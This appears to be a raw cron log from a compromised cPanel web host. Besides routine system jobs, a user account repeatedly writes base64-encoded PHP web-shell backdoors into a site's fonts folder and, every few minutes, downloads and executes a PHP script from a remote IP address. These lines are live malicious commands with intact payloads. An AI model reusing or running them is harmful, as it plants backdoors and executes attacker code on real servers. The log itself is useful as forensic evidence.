Sep  6 19:56:01 ip-184-168-122-23 CROND[21427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:56:01 ip-184-168-122-23 CROND[21428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:56:01 ip-184-168-122-23 CROND[21429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:57:01 ip-184-168-122-23 CROND[21587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:57:01 ip-184-168-122-23 CROND[21589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:57:01 ip-184-168-122-23 CROND[21592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:57:01 ip-184-168-122-23 CROND[21591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:58:01 ip-184-168-122-23 CROND[21753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:58:01 ip-184-168-122-23 CROND[21754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:58:01 ip-184-168-122-23 CROND[21757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:58:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:58:01 ip-184-168-122-23 CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:59:01 ip-184-168-122-23 CROND[21843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:59:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:59:01 ip-184-168-122-23 CROND[21844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:59:01 ip-184-168-122-23 CROND[21842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:00:01 ip-184-168-122-23 CROND[21931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:00:01 ip-184-168-122-23 CROND[21937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21940]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:00:01 ip-184-168-122-23 CROND[21936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:01:01 ip-184-168-122-23 CROND[22048]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22048]: starting 0anacron
Sep  6 20:01:01 ip-184-168-122-23 CROND[22054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:01:01 ip-184-168-122-23 CROND[22056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:01:01 ip-184-168-122-23 CROND[22057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:01:01 ip-184-168-122-23 CROND[22055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:01:01 ip-184-168-122-23 CROND[22058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22068]: finished 0anacron
Sep  6 20:02:01 ip-184-168-122-23 CROND[22153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:02:01 ip-184-168-122-23 CROND[22155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:02:01 ip-184-168-122-23 CROND[22156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:02:01 ip-184-168-122-23 CROND[22154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:02:01 ip-184-168-122-23 CROND[22157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:03:01 ip-184-168-122-23 CROND[22236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:03:01 ip-184-168-122-23 CROND[22234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:03:01 ip-184-168-122-23 CROND[22235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:03:01 ip-184-168-122-23 CROND[22239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:04:01 ip-184-168-122-23 CROND[22458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:04:01 ip-184-168-122-23 CROND[22462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:04:01 ip-184-168-122-23 CROND[22460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:04:01 ip-184-168-122-23 CROND[22463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:04:01 ip-184-168-122-23 CROND[22461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:05:01 ip-184-168-122-23 CROND[22556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22551]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:05:01 ip-184-168-122-23 CROND[22553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:06:01 ip-184-168-122-23 CROND[22639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:06:01 ip-184-168-122-23 CROND[22641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:06:01 ip-184-168-122-23 CROND[22642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:06:01 ip-184-168-122-23 CROND[22645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:06:01 ip-184-168-122-23 CROND[22643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:07:01 ip-184-168-122-23 CROND[22728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:07:01 ip-184-168-122-23 CROND[22729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:07:01 ip-184-168-122-23 CROND[22731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:07:01 ip-184-168-122-23 CROND[22736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:08:01 ip-184-168-122-23 CROND[22823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:08:01 ip-184-168-122-23 CROND[22826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:08:01 ip-184-168-122-23 CROND[22827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
